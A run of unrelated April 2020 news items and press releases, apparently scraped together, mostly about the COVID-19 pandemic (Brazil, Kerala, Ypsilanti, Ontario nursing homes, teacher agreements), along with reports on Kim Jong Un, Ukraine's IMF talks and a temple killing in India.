Technavio's sample reports are free of charge and contain multiple sections of the report, such as the market size and forecast, drivers, challenges, trends, and more. Request a free sample report Some of the key topics covered in the report include: Market Drivers Market Challenges Market Trends Vendor Landscape Vendors covered Vendor classification Market positioning of vendors Competitive scenario About Technavio Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005785/en/ Contacts: Technavio Research Jesse Maida Media Marketing Executive US: +1 844 364 1100 UK: +44 203 893 3200 Email: media@technavio.com Website: www.technavio.com/ Brazil could be the next big coronavirus hotspot as the number of cases and deaths surge despite President Jair Bolsonaro's insistence that it is "just a little flu". Hospitals are being pushed to breaking point and there are signs that a growing number of victims are now dying at home as the outbreak in Latin America's biggest country escalates. "We have all the conditions here for the pandemic to become much more serious," said Paulo Brandao, a virologist at the University of Sao Paulo. Brazil officially reported around 4,500 deaths and almost 67,000 confirmed cases of COVID-19 . However, the true numbers are thought to be vastly higher given the lack of testing and the many people who have not sought hospital care. Some scientists said over one million in Brazil are likely infected. The country - which has a population of 211 million - is heading into winter, which can worsen respiratory illness. Mr Bolsonaro has repeatedly downplayed the severity of the disease and insists there is no need for sharp restrictions that have been used to slow the spread in Europe and the US. The Brazilian leader said people need to resume their lives through the pandemic to prevent an economic meltdown, but most state governors in the country have adopted restrictions to slow the spread and have advised people to stay at home. Mr Bolsonaro recently fired his popular health minister, Luiz Henrique Mandetta, after a series of disagreements over efforts to contain the virus . "I know life is priceless. But the economy and jobs must return to normal," Mr Bolsonaro said, as he introduced his new health minister, Nelson Teich, an advocate for reopening the economy. The sacking of Mr Mandetta sparked widespread protests, with residents leaning out their windows to bang pots and pans. Medical officials in Rio de Janeiro and at least four other major cities have warned that their hospital systems are on the verge of collapse or are too busy to take any more patients. Story continues In Sao Paulo, the largest city in South America with over 21 million residents, death certificates were issued for 236 people who died at home over the past two weeks - double the number before the outbreak, according to the SAMU paramedic service. Manaus, an Amazon city of 1.8 million, recorded 142 deaths on Sunday - the most yet - including 41 who died at home. Mass graves are currently being dug by workers in the city's main cemetery. :: Listen to the Daily podcast on Apple Podcasts , Google Podcasts , Spotify , Spreaker Brazil's funeral industry warned last week that the city was running out of coffins and "there could soon be corpses left on corners". Meanwhile, Chile's government has said it will issue certificates to people who have recovered from COVID-19, despite the World Health Organisation (WHO) saying there is "no evidence" that people who contract coronavirus are immune from being infected again. Neighbouring Argentina has taken a serious stance on the pandemic, banning all commercial flights until September in one of the toughest coronavirus travel bans in the world. Other South American countries including Ecuador and Peru have banned all commercial flights, but none have extended their timeline as far out as Argentina. Brazil has also imposed travel restrictions but not outright bans. The worsening situation in Brazil comes as some US states and European countries are moving gradually to ease their limits on movement and commerce. The US governors of Nevada and Colorado announced their states will join California, Oregon and Washington state in coordinating their reopenings. Businesses have been allowed to reopen in the state of Georgia, with restaurants receiving the go-ahead to resume dine-in service as long as they follow social distancing rules. Italy's prime minister, Giuseppe Conte, said measures would be relaxed from 4 May, with people being allowed to visit family members in small numbers. Technology is also likely to play a role in helping countries ease their restrictions, with countries including Italy, France, Switzerland and the UK working on virus-tracking apps to trace infected people's contacts. Bondi Beach reopened for 'the sole purpose of exercising' for local Waverley residents on Tuesday morning. And Victoria's Secret model Georgia Fowler jumped at the opportunity to be one of the first people to go for a morning ocean dip at the reopened tourist hotspot. The 27-year-old stunner stripped down to a yellow bikini for a swim with boyfriend boyfriend Nathan Dalah. SEAS the day! Georgia Fowler (left) takes advantage of Bondi Beach reopening as she shows off her stunning frame in a yellow bikini during ocean swim with new boyfriend Nathan Dalah (right) on Tuesday in Sydney Georgia has been in lockdown with her businessman beau in recent weeks in Sydney amid the COVID-19 pandemic. The Kiwi model went without makeup for the outing and tied her brunette locks up into a low bun. Enjoying the refreshing water with her partner by her side, Georgia was all smiles. Natural beauty: The Kiwi model went without makeup for the outing and tied her brunette locks up into a low bun Brace yourself! Enjoying the refreshing, and likely cold water with her partner by her side, Georgia was all smiles during their brief outing The brunette beauty certainly stood out in her bright yellow bikini, which featured an active crop top and cheeky-cut bottoms. Proving she has been keeping up her fitness routine in isolation, she flaunted her enviable abs in the two-piece swim set. Nathan, who is the co-founder of salad chain Fishbowl, also showed off his ripped stomach shirtless with a pair of black boardshorts. Hello yellow! Georgia certainly stood out in her bright bikini, which featured a crop top Sun's out, buns out! The brunette beauty's bikini featured cheeky-cut bottoms She works out! Proving she has been keeping up her fitness routine in isolation, she flaunted her enviable abs in the two-piece swim set Bondi was closed on March 21 after hundreds of people flocked to the tourist spot, with authorities at the time slamming the 'irresponsible behaviour' of beachgoers. Waverley Council has stressed the beach is still closed to non-exercise purposes as Bondi is still the district with the highest number of COVID-19 cases in Australia. After the couple's brief swim, Georgia and Nathan dried off with their matching, striped towels and head home. No tanning for Georgia! Waverley Council has stressed the beach is still closed to non-exercise purposes as Bondi is still the district with the highest number of COVID-19 cases in Australia Georgia is likely staying in her sister Kate's $7.5million home in Dover Heights. Last year, it was reported by The Daily Telegraph that Justin Hemmes had purchased the property for Kate Fowler - which is a 10-minute drive from his Vaucluse mansion. The heritage-listed harbour front home has previously been estimated to be worth 'more than $60 million'. New couple: Georgia only confirmed her relationship with Nathan in February when the couple attended Paris Fashion Week together that month 'They haven't failed me yet': Georgia said her boyfriend Nathan and sister Kate had been tasked with taking her photos for Instagram while in isolation Speaking to Stellar Magazine this month, Georgia said her boyfriend Nathan and sister Kate had been tasked with taking her photos for Instagram. 'I know how different angles can look... and making sure you're facing the light. I have to give them (Nathan and Kate) a bit of guidance. They haven't failed me yet,' she said, appearing to confirm they were isolating together. Georgia only confirmed her relationship with Nathan in February when the couple attended Paris Fashion Week together that month. by Biju Veticad In Kerala, the old Syro-Malabar diocese is especially helping internal migrants and rural communities during the lockdown. The Changanacherry Social Service Society reacted promptly to meet people's needs when the COVID-19 outbreak began. Changanacherry (AsiaNews) The Syro-Malabar Metropolitan Archdiocese of Changanacherry in southern India has always been on the front-line in times of crisis, ready to help the needy. This is the case now with the COVID-19 pandemic and the lockdown, according to Auxiliary Bishop Thomas Tharayil (pictured). When, in the past two years, a large part of the Archdiocese was hit hard by unprecedented flooding during the monsoon season, the local Church reacted in an exemplary way helping thousands of people. Similarly, this time the Changanacherry Social Service Society (CHASS) responded promptly to meet the needs of people affected by the COVID-19 outbreak. Since 1996, CHASS has worked on the socio-economic development of rural communities through local organisation and welfare activities. This time, it has duly followed the precautionary measures taken by the Kerala State government and extended its support to the neediest confined at home by the country-wide lockdown. Kerala is also home to 2.5 million internal migrants, mostly from West Bengal, Assam, Odisha, Jharkhand, Uttar Pradesh and Bihar. State authorities have set up 4,400 relief camps for more than 150,000 migrants stuck in Kerala because of the lockdown. CHASS director Fr Joseph Kalarickal is determined to ensure support for these people. His organisation started COVID-19-related activities before the lockdown, such as providing orientation to bus and auto-rickshaw drivers, loaders, small traders in Changanacherry and its suburbs, about 5,000 people in all. In the past few months, the focus has been on providing groceries, including rice and vegetables, to migrant workers who live in the archdiocese (pictured) in cooperation with the Kerala feeding programme. As a result of the lockdown, Kerala's agricultural sector has been in a crisis. Rice and rubber are the states main crops. Mango and pineapple crops are also picked in March and April. With the lockdown, interstate trade has been blocked preventing Keralas main products from moving. For farmers working on leased land, this has been a particularly tough time as they cannot sell their crops. The government is helping them with regular supplies of food. The Archdiocese too has been helping in the relief work. Indian migrants in the Persian Gulf region, the United States and Europe have also been impacted by the economic crisis. Several of them are healthcare workers subjected to a lot of stress. Many others have lost their jobs abroad with major negative financial repercussions. Wherever government supplies fall short, parishes take action. In previous crises, the Archdiocese showed that it had a role to play, like during the floods of 2018 and 2019. Lastly, in an online interview, Bishop Tharayil, the lively young bishop-preacher, expressed concern for the spiritual life of the members of his archdiocese, noting that, despite churches being shut down, the celebration of Holy Week and preparation for faith in general were intense and broadly followed. On average, 95 per cent of Catholics in Kerala regularly attend Sunday Mass, something hard to do via the Internet. Still, every crisis is an opportunity. Many Syro-Malabar bishops are using the COVID-19 period to impart meaningful teachings to the faithful, in particular on how to face the current scenario with hope. What we are doing is to encourage our people to become self-sufficient, said Bishop Tharayil. Everyone is encouraged to grow vegetables in available unused lands and become frugal. We need to observe strict financial discipline. Our role is to prepare our people spiritually and psychologically to confront this difficult moment. The Treasury will review and refine the government's $200 billion of measures to protect the economy from coronavirus in the coming months, admitting there had been trade-offs between policy perfection and the need to get them out quickly. Treasury secretary Steven Kennedy also warned the economy would be different for many people on the other side of the pandemic, with some jobs and businesses lost forever. Treasury secretary Steven Kennedy has conceded trade-offs have been made between policy actions to help businesses through the pandemic crisis and the speed at which they have been put in place. Credit:Alex Ellinghausen The government has already made a string of changes to its $130 billion JobKeeper program, which is yet to start paying its $1500-a-fortnight wage subsidy, while small businesses continue to raise concerns about its structure and the financial burden it puts on firms. Dr Kennedy, giving evidence on Tuesday to a special Senate committee charged with overseeing the fiscal response to the pandemic, said work started in early February on the first of the three support packages announced by the government $17.6 billion in measures for business, welfare recipients and tourism operators, followed by JobSeeker and JobKeeper. (Bloomberg) -- Kim Jong Un has not been seen in public for more than two weeks. If hes hale and hearty, to dispel the frenzied speculation to the opposite, it should be a simple matter of having him pop up somewhere to have his photo taken. Officials in South Korea say they think Kim is fine. The regimes ally China is trying to say as little as possible about it. But a Chinese medical team reportedly went to North Korea recently, and it certainly seems something is amiss after the young leaders recent heart surgery. State media reported April 22 that Kim sent a message to the Syrian president. Today hes reported as having thanked officials in Wonsan for their help constructing the coastal tourist region. Still, there have been no pictures, or reports of him attending a meeting or event, and such rote pronouncements by the regimes propaganda machine would continue regardless. While there are also no unusual military movements inside North Korea, that could rapidly change if Kim were to die. There is no pre-ordained successor (though his sister has taken a more prominent role), and power plays could well erupt. Kim did disappear before in 2014, with chatter he was suffering gout, an ankle injury or even had been overthrown. He showed up six weeks later without explanation, walking with a cane. So once again on Kim were locked in a global guessing exercise. One with enormous potential repercussions. Global Headlines Test case | Joe Biden is calling on the Trump administration to vastly expand coronavirus testing capabilities, including a new public health jobs corps of 100,000 people. The presumptive Democratic presidential nominee laid out his vision for safely reopening the economy in a memo today that sharply criticized Donald Trump's testing approach. Read more about the phased-in reopening of New York that Governor Andrew Cuomo has sketched out. White House task force coordinator Deborah Birx says shes bothered that Trumps comments about using disinfectant as a virus treatment are still in the news, calling them a musing. Story continues Misdirected money | While some mom-and-pop companies wait for virus aid, a 700-person biotech firm that recently paid a multimillion-dollar settlement to the U.S. Justice Department has secured help. A government program touted as a lifeline for firms with fewer than 500 workers has provided tens of millions of dollars in loans to those with much larger payrolls. Business groups are pressuring Democratic officials in several states to defer planned minimum-wage increases. Under fire | Giuseppe Conte is struggling to chart a path out of lockdown for Italy. The prime minister is facing intense scrutiny over the timeline for restarting the economy and last night looked drained, stumbling repeatedly, as he set out his plans. Business leaders and political opponents are demanding Conte move faster to limit the economic damage. Back in charge | Boris Johnson resumed his duties as U.K. prime minister after two weeks of recuperation from the coronavirus with one item at the top of his in-tray: When will he let Britain return to work? Companies are clamoring for clarity about his plans as a survey of more than 1,000 business leaders showed fewer than one in four are optimistic about their prospects over the next 12 months. Double threat | Jair Bolsonaros promises to stamp out graft and liberalize the economy have underpinned his popularity as Brazilian president. But as Simone Iglesias, Martha Beck and Samy Adghirni report, both are in trouble amid the furor over the resignation of Sergio Moro as justice minister and rising tensions with Economy Minister Paulo Guedes. What to Watch This Week Hong Kong police dispersed protesters in a shopping mall over the weekend, as the pro-democracy movement attempts to regain momentum despite Covid-19 social distancing restrictions. Beijing may announce the start date for Chinas highest-profile annual political meeting, the National Peoples Congress, which was postponed for the first time in decades amid the pandemic. Separatists in Yemen have declared self-rule in the south, a major blow to Saudi Arabias push to end the devastating civil war it fueled in its neighbor. The Trump administration will square off tomorrow against House Democrats over the reach of congressional subpoena power when an appeals court hears a case that's likely to reach the Supreme Court. Saudi Arabia has scrapped the death penalty for minors, days after curbing the use of flogging, and says more reforms are to come. Thanks to all who responded to our pop quiz Friday and congratulations to Don Sinko, who was the first to name South Africa as the nation where gangs have declared a cease-fire because of the virus. Tell us how were doing or what were missing at balancepower@bloomberg.net.And finally ... With negative oil prices, ships dawdling at sea with unwanted cargoes, and traders getting creative about where to stash oil, the next chapter in the crude crisis appears inevitable: Great swathes of the petroleum industry are about to start shutting down. As Javier Blas reports, the global economic lockdown as the coronavirus ripped through the oil industry has presented producers and refiners with the worst-case scenario. We are moving into the end-game, says Torbjorn Tornqvist, head of commodity trading giant Gunvor Group. For more articles like this, please visit us at bloomberg.com Subscribe now to stay ahead with the most trusted business news source. 2020 Bloomberg L.P. Ukraine can receive from the International Monetary Fund either $5.5 billion to $8 billion under the Extended Fund Facility program, or $1.4 billion through the Rapid Financing Instrument (RFI), while the combination of these programs is impossible, former Finance Minister of Ukraine Ihor Umansky believes. "Ukraine has officially applied to the IMF for a new program. The availability of two programs is impossible. Either we get the EFF program in an increased amount of $8 billion, or we abandon the EFF program and apply for a coronavirus program of $1.4 billion," he said in an interview with Strana.ua. Umansky explained that the coronavirus program (RFI) has the same return conditions and rate as the EFF program, and only the poorest countries to which Ukraine does belong can count on other assistance instruments from the fund. According to him, the "government is playing" in an attempt to combine the two programs, although this is not possible. The ex-minister noted that in case of failure of the "banking" law, which is a condition for the provision of the EFF, Ukraine will need to contact the IMF under the COVID program. "But, in any case, the decision needs to be made before mid-May. Otherwise, there is no treasury liquidity. And the National Bank took the position that they would not support budget liquidity," Umansky emphasized. He also noted that the Ministry of Finance has no opportunity to enter foreign markets before the issue with the IMF is resolved. YPSILANTI, MI Tre Harris head ached and his throat was scratchy. He doesnt get sick that often and, since it was mid-March, he assumed it was just allergies. Three days later, the fatigue and fever hit him. Harris, 24, was sent home from work and slept for what he said felt like two days straight. He started to wonder if he was infected with the novel coronavirus. For me to not get sick and then all of the sudden feel that bad and sleep almost two days away, I need to go get checked out to be safe, the Ypsilanti resident said. How Washtenaw County became an early Michigan hotspot for coronavirus Harris spent days pretty much tied down to his bed, avoiding close contact with his two siblings and parents while awaiting his COVID-19 test results, which came back positive about a week later. He is one of the nearly 481 confirmed cases in Ypsilanti and Ypsilanti Township, a community that has been disproportionately hit by the COVID-19 outbreak in Washtenaw County and accounts for nearly 49% of confirmed cases of the disease in the county as of April 27, the most recent daily reporting. Michigan cites possible testing lag as coronavirus cases drop Harris has stayed home fighting his illness for nearly three weeks. I dont really do much, he said. Then half the time when I do want to do things, I dont have the strength for it. Harris didnt experience a strong cough or breathing issues, both common symptoms. Instead, his worst symptoms were aches and fatigue often reported symptoms, though health officials do not list them as primary indications of a COVID-19 infection. It kept me from really moving around and getting out of the bed and not feeling like Im about to fall over, he said. It was rough. Ive never experienced anything like this before. Washtenaw County health officials have said they are alarmed that almost half of the countys cases are in only two ZIP codes: 48197 and 48198. They worry that race and class issues that plague public health are coming to light again through a virus that has been called an equal opportunity disease. The data shows the disparities, Washtenaw County Health Department leaders said. Only 29% of the countys population lives in those two ZIP codes. Additionally, of the 278 Washtenaw County residents who have been hospitalized from COVID-19, 43% are African American, while 12% of the countys overall population identifies as African American or black. The statistics mirror findings across the state and country. Black residents affected disproportionately as coronavirus cases inch up in Kalamazoo County Fighting the pandemic will require a better public understanding of how health affects communities differently, West Willow community advocate Alex Thomas said. He said a friend recently called him to talk about the virus impact on Ypsilanti. He had that knee-jerk reaction, Thomas said. He was thinking, I guess people in Ypsilanti arent really paying attention. Are they even in the house?' and he could tell how that hurt me. I explained what those numbers were and he said, You know, that was kind of a blind spot for me. It really pointed out how people can get further marginalized by the misperception. The impact of the virus on their community has alarmed Ypsilanti elected officials. My first thought was, This is the evidence of environmental racism at work, Ypsilanti Mayor Beth Bashert said. Marginalized groups, like low-income households and African Americans, are faced with greater risk of infection, experts have said, in part because theyre more likely to have underlying health problems and less likely to have access to healthcare. People that dont have access to healthcare are going to be more likely to have (multiple chronic diseases), so their infections are more likely to be more serious and theyre more likely to not get medical attention when they need it, University of Michigan epidemiologist Joseph Eisenberg said. Even a matter of days not getting medical attention when you need a ventilator really drastically affects the prognosis of the disease and your survivorship." Michigan is doing the right things on coronavirus. So why is the caseload so high? Even factors outside of health can affect a persons risk of infection. Those in lower-income communities are more likely to work in jobs that dont support tele-work or have strong sick-time benefits. Additionally, people in lower-income communities tend to live closer together, increasing the risk of potential spread. Its shocking and outrageous and offensive, Bashert said. Its an indication of when you put all the poor resources together, this is what happens. It takes a pandemic to point out to the world, to look at this. Data confirmed the severity of the disease for Ypsilanti Township Trustee Monica Ross-Williams. Data is critically important to show community members why such serious mitigation efforts are needed, she said. Ross-Williams worries the slow response to the pandemic caused people to think it would be similar to cold and flu season. She thought people werent taking social distancing seriously. She worried young people believed they werent going to get sick, so they could take less caution than adults. She noticed how difficult it is for people to stay inside, especially as springtime hits and people want to get out more. Now, as the outbreak begins to overwhelm health systems from Ann Arbor to New York, the pressure is on for political leaders at each level of the government to get the right message out. Thats where the confusing messages have hurt a lot, Ross-Williams said. Now we have to get folks to quickly (adhere) to, that you really shouldnt be doing what you would normally do after a winter solace and thats the challenge. $454K in COVID-19 community relief grants awarded by United Way of Washtenaw County Aid and solutions for the Ypsilanti community face additional obstacles during the pandemic, she worried. People cant go door-to-door with literature on how to protect against the disease without putting themselves at risk, and neighbors are discouraged from helping each other in person. It leaves most of the work to be done digitally, which could be a challenge for those with limited internet access or for seniors. Much of the work to help these at-risk communities has been focused on filling the gaps that open up during mass social isolation, Bashert said. For example, Ypsilanti closed its park restrooms for sanitation issues, but placed port-a-potties across the city for residents who are homeless to use. To Ross-Williams, exhausting every possible information avenue is the best way to fight the pandemic. Informational mailers could be sent to each home, additional resources could be routed to United Way of Washtenaw Countys 211 hotline. Many community members have stepped up to help each other, Bashert and Ross-Williams said. Volunteers have helped pack lunch for public schoolchildren and brought groceries to the porches of older residents. Still, every public outing could incur risk. Heres where, in my opinion, the rubber meets the road, Ross-Williams said. Some of those people themselves that are trying to help, they have to be very careful, very careful when they go out and try and do things because they may be compromised themselves. PREVENTION TIPS In addition to washing hands regularly and not touching your face, officials recommend practicing social distancing, assuming anyone may be carrying the virus. Health officials say you should be staying at least 6 feet away from others and working from home, if possible. Carry hand sanitizer with you, and use disinfecting wipes or disinfecting spray cleaners on frequently-touched surfaces in your home (door handles, faucets, countertops) and when you go into places like stores. More coronavirus coverage on MLive. Team of Toronto doctors and nurses fill in for personal support staff at nursing homes hit by COVID-19 outbreak, April 18 It is both alarming and short-sighted to have physicians, in some cases specialists, volunteering their time to help out in long-term-care homes. That help is needed, there is no doubt. However, the plan involving so-called SWAT teams makes no sense, and worse, potentially exposes staff and residents to the spread of infection from health providers already working at other organizations. Whats really needed is a co-ordinated effort to assist homes coping with the tidal wave of outbreaks taking place in more than 132 nursing homes and 63 retirement homes in Ontario. As the number of long-term-care residents and staff that have contracted COVID-19 increases, a ready-made program designed to increase the supply of RNs, NPs and PSWs is ready to deploy staff to homes. The program has been available for all sectors in need since March 13. Developed by RNAO, VIANurse has 7,277 RNs, many of whom specialize in gerontology. It also has 283 nurse practitioners, who can diagnose, treat and prescribe medications. The free-of-charge program also has a list of nursing students who have completed their second, third or fourth year of study and are able to work as personal support workers (PSW). Almost 1,400 applications have been filled out by nursing students who want to help. Working under the supervision of nurses who understand the unique needs of LTC residents, these students can assist with bathing, toileting, getting dressed and feeding residents. More than 170 nursing homes have already been served by VIANurse and many more can get help immediately. Equally important to address the crisis in long-term-care and retirement homes is universal testing for clinical care and for surveillance, and the availability of personal protective equipment in all nursing and retirement homes to ensure universal masking so residents are protected. Both universal testing and masking are still not happening in most nursing and retirement homes. Seniors in care represent 72.4 per cent of the total deaths related to COVID-19. This is a devastating wake-up call to every Ontarian and to the government. The men and women living in nursing and retirement homes, and their families and staff, deserve better now and in the future. Auto industries in Sanand industrial base in Ahmedabad have started functioning again and are working at 50 per cent capacity, the inter-ministerial central team sent to Ahmedabad has found, a Home Ministry official said. Addressing a press conference here, MHA Joint Secretary Punya Salila Srivastava said two teams were sent to Ahmedabad and Surat in Gujarat. Giving details of their findings, she said the team that has gone to Ahmedabad found that in Sanand industrial base, the pharmaceutical industry is functioning. Auto industrial units in the base have re-started functions and are working at 50 per cent capacity, she said. About 30,000 out of total 50,000 labourers have returned to work, she said citing the findings of the team. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) IRVINE, Calif., April 28, 2020 /PRNewswire/ -- As businesses throughout California enforce work-from-home polices to prevent the spread of COVID-19, one Orange County business is working around the clock to help companies plan for the eventual return to the workplace. "We're all anxious to get back to work," says Cheryl Osborn, CEO and founder of Casco Contractors. "When the time comes, we want to make sure that our offices and workspaces are as safe and healthy as possible while still being productive." Osborn's company, which specializes in tenant improvements and office space design, recently announced the launch of the Casco "Back to Work" initiative, which helps businesses quickly upgrade their office space to prevent the spread of germs and respect new social-distance norms. California Governor Gavin Newsom included redrawing business floor plans as part of his Six-Point Guide to Help Reopen California. "We know it's going to be a big moment when companies finally reopen their doors," she says. "We want to help provide the peace of mind employees will need to go back into their workplaces and safely adapt to a new way of working." Casco's initiative begins with a comprehensive assessment of the existing workspace to identify at-risk areas, evaluate density and furniture layout, and provide recommendations for making the space more friendly for a partial virtual workforce and potential downsizing. They'll also identify capital improvements that can be made while the offices are unoccupied. The Back to Work upgrades fall into three categories: Retrofit: Immediate workspace upgrades such as hand-sanitizing stations, HEPA air filters, touchless faucets and automatic door openers Reorganize: Space-plan analysis, workstation upgrades and changes to community areas to ensure employees have a safe distance between them Reenergize: Optimize facilities to enhance virtual meeting capabilities including any necessary capital improvements that can be done while the offices are mostly empty and analyzing potential downsizing options "As a CEO, my employees' safety is my top priority," Osborn says. "I know the same is true for most business leaders. We're committed to helping them create a safe and welcoming environment for that exciting moment when we're all able to get back to work." About Casco Founded in 2000 by CEO Cheryl Osborn, Casco Contractors has grown into one of California's most respected tenant improvement companies. She launched a sister company, Casco Design Studio, in 2002. The Orange County-based companies have completed more than 3,000 projects with 90% repeat business. The Orange County Business Journal named Casco one of the Best Places to Work in 2018 and 2019. For more information, go to www.cascobacktowork.com Link to Back to Work intro video Link to Media Gallery Contact: Steve Dobbins for Casco Contractors [email protected] 323.578.2671 SOURCE Casco Contractors Related Links https://www.cascobacktowork.com Education Week examined a dozen school districts memoranda of agreement or memoranda of understanding with their teachers associations. Seven distinct themes emerged. 1.) Work hours and teacher time. Time in teachers contracts is invariably in terms of hours, minutes, periods, and preps. Most of the MOUs alter this to specify a minimum of hours of interaction with students. They also generally expect teachers to set additional office hours in which to work with students one-on-one or respond to parents. The Miami-Dade and Orange County districts in Florida specify a minimum of three hours for student interaction each day; Charlotte County, Fla., Los Angeles, and San Diego, Calif., a minimum of four hours each day. Boston specifies each teacher may be called to deliver up to 15 hours of live teaching and five hours of asynchronous teaching a week, but this time can also include staff meetings and PD. The East Helena district in Montana merely asks teachers to keep a log of their regular duty hours, with all of those expected to fill planning, instruction, and meetings. Some also modify the work schedule to help teachers prepare lessons. Santa Rosa., Calif., expects teachers to teach Tuesday through Friday, but reserves Mondays for teacher collaboration, training, planning, and professional development. 2.) Meetings. Many of the MOUs address which required meetings are preserved in an online format and which are temporarily suspended, or replaced with informal emailed communication. In Massachusetts, the Mendon-Upton Regional school districts MOU specifies one virtual 30-minute staff meeting for teachers each week and an hour of planning with departmental teams. Los Angeles restricts all meetings, including staff meetings and PD, to just one hour a week, while Orange County, Fla., similarly restricts them to 50 minutes. 3.) Distance learning. Because teachers typically determine how a curriculum is taughtdevising their lesson plans and sequencing of learningdistricts that expect teachers to deliver instruction in a specific type or format of distance learning may need to bargain those details with teachers. The Mendon-Upton Regional school district, for example, specifies that teachers must be available for at least one hour or some face-to-face learning on a platform like Zoom or Google Meet in addition to being available for one hour of office hours. Los Angeles specifies that the use of live video, such as Zoom meetings, is encouraged but shall not be mandatory, as does San Diego. Boston also prohibits principals from requiring teachers to use video communications with students. 4.) Contacting students. Maintaining contact with students raises both privacy and cost concerns for families and teachers. Should teachers use their personal cellphones or the official district email or phone system for contacting students? Will they be compensated for using their own devices? In Brevard and Orange counties in Florida, district and union leaders have agreed that teachers wont be required to use their personal cell phones. The Columbus, Ohio MOU specifies that all communications with students must take place on a school board-owned communications system and that teachers can be compensated up to $50 a month for internet usage. The Mendon-Upton MOU requires that the district protect teachers personal phone numbers from disclosure. 5.) Attendance. Attendance is a legal record in many states or linked to other policies, like funding formulas, and some unions want to be sure that teachers arent penalized if they are unable to locate some students. Some districts, such as Miami-Dade, have taken the load off teachers by having students log in each morning to its own student portal and using that to determine attendance. Others, such as Orange County, Fla., and Boston will rely on student completion of assignments or other engagement measures to determine attendance. Orange County further specifies that if teachers are unable to reach their students, it will be the districts responsibility to update contact information rosters. 6.) Evaluations and grading. Most existing contracts detail very specific timelines and procedures for observing and evaluating teachers that needed to be adjusted. In Los Angeles, only teachers evaluated before March 13 will receive ratings; the others will begin the evaluation process again the following year. Brevard County, Fla.s MOU specifies that teachers will not be evaluated on their remote teaching. In Boston, teachers will still receive nonevaluative feedback and can be disciplined if they fail to perform the essential functions of their role. Santa Rosa, Calif., says teachers cannot be evaluated or disciplined based on the method of delivery or quality of lessons during the pandemic. Seattles MOU abbreviates the process for most teachers and will allow some to be paused. Grading has also been a widespread topic of concern. Miami-Dades MOU specifies that teachers should assign one grade each week for each student in each subject, but that students should be able to make up missed assignments and that teachers should demonstrate compassion as they assign grades. Teachers in Orange County, Fla,. will not assign a grade if they have not received student work. Bostons MOU outlines that district and union will discuss grading guidelines later this year. 7.) Professional development. Many of the MOUs outline supports for teachers as they transition to online learning. Miami-Dades MOU set aside two days for professional development. Columbus MOU guarantees teachers PD before being directed to use a specific platform. San Diego limits all PD to distance-learning topics for the duration of the MOU. Union Ministry of Home Affairs issues orders to extend lockdown beyond May 4, by two weeks in order to contain the coronavirus spread mainly in the red zones of the districts. As India remains in lockdown for over a month, the total number of cases reported in the country crosses 36,000 and death toll exceeds 1,200 according to DH's tally. Meanwhile, the government has announced that there will be considerable lockdown relaxation in many districts in the country from May 4. Source: Xinhua| 2020-04-28 13:45:50|Editor: huaxia Video Player Close SEOUL, April 28 (Xinhua) -- South Korea's export volume rose in double figures last month on strong chip demand, central bank data showed Tuesday. In terms of volume, export advanced 10.6 percent in March from a year earlier, after expanding 11.0 percent in the previous month, according to the Bank of Korea (BOK). It was attributable to solid demand for semiconductors. The COVID-19 outbreak across the world increased demand for information technology (IT) products, leading to higher chip demand. The export volume for computers, electronic and optical devices, including chips, picked up 15.2 percent in March from a year earlier. Chemical product shipment went up 11.2 percent, and transport equipment export gained 5.2 percent on demand from North America and Europe. In terms of value, the outbound shipment added 0.4 percent last month, keeping an upward trend for two months in a row. Import volume grew 1.5 percent on demand for machinery and equipment, while import value rose 1.5 percent in March from a year earlier. Enditem WELLESLEY, Mass., April 28, 2020 /PRNewswire/ -- Karim Joseph Hamawy, M.D., is being recognized by Continental Who's Who as a Top Urologist in the field of Surgery for his devotion to patient-centered care and the accomplishments he has achieved at Lahey Hospital and Medical Center. Part of Beth Israel Lahey Health (BILH), Lahey Hospital and Medical Center renders expert care for all patients, both regionally as well as internationally. Founded in 1923, the Hospital is devoted to quality patient care and resident education. The BILH merger brings together 13 hospitals, 1000 primary care physicians, and 3,600 specialists into one organization. Leading an impressive career for more than thirty years, Dr. Hamawy has earned an excellent reputation for being a patient-preferred urologist in Norfolk County. He has been rated five stars by his patients, who have praised him for the time and compassion he devotes to those under his care, as well as the excellent outcomes he has achieved. Dr. Hamawy specializes in diseases of the urinary tract. Devoted to excellent care, his clinical interest include erectile dysfunction, prostate cancer, and stone disease. In preparation for his career, Dr. Hamawy attended Boston University School of Medicine, earning a Doctorate of Medicine degree in 1990. He went on to work as a resident at Boston University Medical Center. A respected voice in his areas of expertise, Dr. Hamawy serves as a member of several organizations, such as the American Urological Association and the Society of Academic Urologists. He is involved in resident education and has been Program Director for more than a decade. He sits on the Board of Directors of the New England AUA. In his spare time, Dr. Hamawy enjoys traveling and spending time with family. He is bilingual, speaking English and French. Dr. Hamawy dedicates this recognition to his wife, Nancy, his children Eddy and Jean, and in loving memory of his father Dr. Fouad Hamawy. For more information, please visit https://physicians.lahey.org Contact: Katherine Green, 516-825-5634, [email protected] SOURCE Continental Who's Who Related Links http://www.continentalwhoswho.com Two priests were found murdered at a temple in Bulandshahr district on Tuesday morning, allegedly killed by a local youth. Jagdish (55) and Sher Singh (45) were apparently hit with a lathi at Paguana village's Shiva temple in Anupshahr police station area, police said. The alleged killer was arrested. Opposition leaders targeted the BJP over the crime, with the Congress and the Shiv Sena referring to Uttar Chief Minister Yogi Adityanath's reaction after the lynching of two sadhus and their driver in Maharashtra's Palghar recently. According to Uttar Pradesh Police, Murari, also known as Raju, was accused by the sadhus two days ago of stealing a pair of tongs used by them. The youth, allegedly under the influence of cannabis, was caught near the temple soon after the two were found dead. Senior officers rushed to the spot and questioned the man, who told them that after taking bhang on Monday night he went to the temple and killed the sadhus with a lathi lying there. According to one official, the intoxicated youth said he carried out God's will, denying he had any quarrel with the priests. The senior official said the youth will be interrogated at length later as he was still under the influence of the drug. Villagers caught the youth when he was spotted roaming naked about two kiolmetres from the scene of the crime, police said. Some reports said he was carrying a sword and initially police said the two priests were hacked to death. Yogi Adityanath directed strict action in the case and sought a detailed report from officials. Maharashtra Chief Minister Uddhav Thackeray spoke to Adityanath, expressing concern over the killing. Days earlier, Adityanath had made a similar phone call to him over the lynching of two sadhus and their driver 